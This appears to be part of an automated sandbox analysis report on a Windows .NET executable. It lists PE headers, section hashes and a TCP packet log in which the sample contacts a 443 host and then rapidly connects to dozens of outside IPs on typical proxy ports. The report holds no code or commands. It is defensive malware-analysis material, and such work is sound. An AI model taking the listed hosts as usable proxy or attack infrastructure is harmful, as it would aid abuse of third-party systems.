DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xFB5ACD4E [Mon Aug 20 05:46:54 2103 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:

Entrypoint Preview

Instruction
dec ebp
pop edx
nop
add byte ptr [ebx], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc000	0x5b6	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0xb5d0	0x38	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2000	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x9688	0x9800	edb2a420e5b39dbc9d15de519dd7b15d	False	0.5008480674342105	data	5.912071669901782	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xc000	0x5b6	0x600	fe6f1eccb28a48477c54500b80aa1963	False	0.41796875	data	4.09473911739944	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xc0a0	0x32c	data			0.4236453201970443
RT_MANIFEST	0xc3cc	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 23, 2024 14:28:20.682204008 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:20.682259083 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:20.682384014 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:20.705780983 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:20.705811977 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:20.915826082 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:20.916002035 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:20.921539068 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:20.921552896 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:20.921850920 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:20.980700970 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.029246092 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.069916964 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.346609116 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.346681118 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.346739054 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.346776962 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.346788883 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.346832991 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.346848011 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.346873045 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.346904039 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.346914053 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.346923113 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.346940041 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.397844076 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.397864103 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.440521955 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.440562010 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.440593958 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.440604925 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.440622091 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.440634966 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.440942049 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.440985918 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.440993071 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.441035032 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.441092014 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.441137075 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.441143990 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.441190004 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.441199064 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.441442013 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.441489935 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.441494942 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.441504955 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.441540956 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.441590071 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.441679955 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.441724062 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.441756964 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.441765070 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.441798925 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.441804886 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.491581917 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.533898115 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.533953905 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.533978939 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.534003019 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.534028053 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.534032106 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.534056902 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.534074068 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.534092903 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.534097910 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.534138918 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.534166098 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.534172058 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.534185886 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.534254074 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.534262896 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.534373999 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.534409046 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.534410000 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.534420967 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.534455061 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.534460068 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.534486055 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.534580946 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.534621000 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.534630060 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.534657001 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.534658909 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.534667969 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.534710884 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.534715891 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.534760952 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.534805059 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.534827948 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.534845114 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.534852982 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.534869909 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.534879923 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.534909010 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.534914970 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.534921885 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.534950018 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.534957886 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.534964085 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.535001993 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.535008907 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.535069942 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.535101891 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.535131931 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.535132885 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.535145044 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.535167933 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.535183907 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.535217047 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.535222054 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.585334063 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.627433062 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.627500057 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.627521992 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.627547979 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.627557039 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.627574921 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.627588034 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.627592087 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.627628088 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.627644062 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.627675056 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.627708912 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.627722025 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.627743959 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.627748966 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.627758980 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.627799988 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.627804995 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.627804995 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.627816916 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.627847910 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.627855062 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.627861977 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.627896070 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.627899885 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.627906084 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.627958059 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.628007889 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.628025055 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.628031969 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.628057003 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.628084898 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.628118992 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.628135920 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.628149986 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.628175974 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.628197908 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.628206015 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.628237963 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.628253937 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.628263950 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.628278971 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.628345013 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.628384113 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.628391027 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.628498077 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.628535032 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.628555059 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.628581047 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.628587008 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.628612041 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.628622055 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.628665924 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.628671885 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.628724098 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.628752947 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.628771067 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.628777981 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.628956079 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.628998995 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.629004955 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.629013062 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.629075050 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.629082918 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.629086971 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.629108906 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.629147053 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.629159927 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.629184008 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.629218102 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.629224062 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.629228115 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.629252911 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.629296064 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.629296064 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.629307985 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.629322052 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.629376888 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.629384041 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.629426003 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.629431009 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.629498005 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.629503965 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.629539967 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.629554033 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.629560947 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.629609108 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.629614115 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.629642010 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.629673958 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.629690886 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.629698992 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.629733086 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.629756927 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.629762888 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.629806995 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.629878998 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.630387068 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.721731901 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.721995115 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.722096920 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.722104073 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.722146988 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.722187996 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.722204924 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.722351074 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.722445011 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.722445965 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.722467899 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.722628117 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.722629070 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.722647905 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.722809076 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.722852945 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.722875118 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.722973108 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.723017931 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.723025084 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.723069906 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.723095894 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.723320007 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.723335981 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.723385096 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.723392010 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.723424911 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.723464012 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.723510027 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.723525047 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.723536015 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.723575115 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.723651886 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.723689079 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.723711967 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.723720074 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.723750114 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.723784924 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.723829985 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.723840952 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.723850965 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.723903894 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.723948002 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.723995924 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.724004030 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.724039078 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.724059105 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.724140882 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.724147081 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.724217892 CET	443	49709	140.82.113.4	192.168.2.8
Feb 23, 2024 14:28:21.724272966 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.724514008 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.724662066 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.740803003 CET	49709	443	192.168.2.8	140.82.113.4
Feb 23, 2024 14:28:21.783302069 CET	49710	5678	192.168.2.8	177.36.13.65
Feb 23, 2024 14:28:21.784456968 CET	49711	4145	192.168.2.8	72.210.208.101
Feb 23, 2024 14:28:21.785521984 CET	49712	3129	192.168.2.8	178.207.11.148
Feb 23, 2024 14:28:21.786307096 CET	49713	8089	192.168.2.8	117.57.93.170
Feb 23, 2024 14:28:21.800203085 CET	49714	44017	192.168.2.8	195.138.73.54
Feb 23, 2024 14:28:21.805179119 CET	49715	80	192.168.2.8	117.54.114.103
Feb 23, 2024 14:28:21.807802916 CET	49716	21681	192.168.2.8	146.56.101.184
Feb 23, 2024 14:28:21.809180021 CET	49717	56442	192.168.2.8	134.122.43.203
Feb 23, 2024 14:28:21.841164112 CET	49718	80	192.168.2.8	197.255.125.12
Feb 23, 2024 14:28:21.842133045 CET	49719	41119	192.168.2.8	194.233.78.142
Feb 23, 2024 14:28:21.845268965 CET	49720	999	192.168.2.8	157.100.6.202
Feb 23, 2024 14:28:21.847532988 CET	49721	10001	192.168.2.8	176.236.124.252
Feb 23, 2024 14:28:21.849045038 CET	49722	80	192.168.2.8	103.75.117.79
Feb 23, 2024 14:28:21.851186037 CET	49723	8080	192.168.2.8	115.96.208.124
Feb 23, 2024 14:28:21.853785038 CET	49724	4145	192.168.2.8	94.40.127.166
Feb 23, 2024 14:28:21.856103897 CET	49725	8080	192.168.2.8	94.153.252.170
Feb 23, 2024 14:28:21.857810974 CET	49726	999	192.168.2.8	201.77.108.64
Feb 23, 2024 14:28:21.859867096 CET	49727	8181	192.168.2.8	103.83.178.42
Feb 23, 2024 14:28:21.861632109 CET	49728	999	192.168.2.8	187.190.49.166
Feb 23, 2024 14:28:21.863904953 CET	49729	3128	192.168.2.8	103.78.25.99
Feb 23, 2024 14:28:21.865741968 CET	49730	8083	192.168.2.8	196.20.125.129
Feb 23, 2024 14:28:21.867325068 CET	49731	3128	192.168.2.8	20.118.133.34
Feb 23, 2024 14:28:21.869909048 CET	49732	5678	192.168.2.8	128.127.94.160
Feb 23, 2024 14:28:21.871527910 CET	4145	49711	72.210.208.101	192.168.2.8
Feb 23, 2024 14:28:21.871589899 CET	49711	4145	192.168.2.8	72.210.208.101
Feb 23, 2024 14:28:21.872778893 CET	49733	49426	192.168.2.8	188.164.196.31
Feb 23, 2024 14:28:21.874540091 CET	49734	50	192.168.2.8	8.213.129.15
Feb 23, 2024 14:28:21.876247883 CET	49735	8080	192.168.2.8	122.52.196.36
Feb 23, 2024 14:28:21.879127026 CET	49736	6888	192.168.2.8	37.32.15.125
Feb 23, 2024 14:28:21.881053925 CET	49737	11432	192.168.2.8	92.246.139.106
Feb 23, 2024 14:28:21.883306980 CET	49738	999	192.168.2.8	190.109.178.44
Feb 23, 2024 14:28:21.884382963 CET	49739	8080	192.168.2.8	137.59.48.20
Feb 23, 2024 14:28:21.887151003 CET	49740	3128	192.168.2.8	79.132.192.13
Feb 23, 2024 14:28:21.888935089 CET	49741	5678	192.168.2.8	192.141.236.3
Feb 23, 2024 14:28:21.890566111 CET	49742	8080	192.168.2.8	91.189.237.78
Feb 23, 2024 14:28:21.892663956 CET	49743	8080	192.168.2.8	82.135.123.155
Feb 23, 2024 14:28:21.893996000 CET	49744	80	192.168.2.8	96.113.158.126
Feb 23, 2024 14:28:21.896009922 CET	49745	55443	192.168.2.8	202.165.47.90
Feb 23, 2024 14:28:21.898366928 CET	49746	60915	192.168.2.8	104.248.151.220
Feb 23, 2024 14:28:21.899823904 CET	49747	80	192.168.2.8	12.186.205.120
Feb 23, 2024 14:28:21.902091026 CET	49748	80	192.168.2.8	104.45.128.122
Feb 23, 2024 14:28:21.903954029 CET	49749	8080	192.168.2.8	188.132.222.7
Feb 23, 2024 14:28:21.905527115 CET	49750	8080	192.168.2.8	88.132.205.84
Feb 23, 2024 14:28:21.907877922 CET	49751	3786	192.168.2.8	148.72.212.212
Feb 23, 2024 14:28:21.909704924 CET	49752	8088	192.168.2.8	202.146.228.254
Feb 23, 2024 14:28:21.910969019 CET	49753	13988	192.168.2.8	167.172.159.43
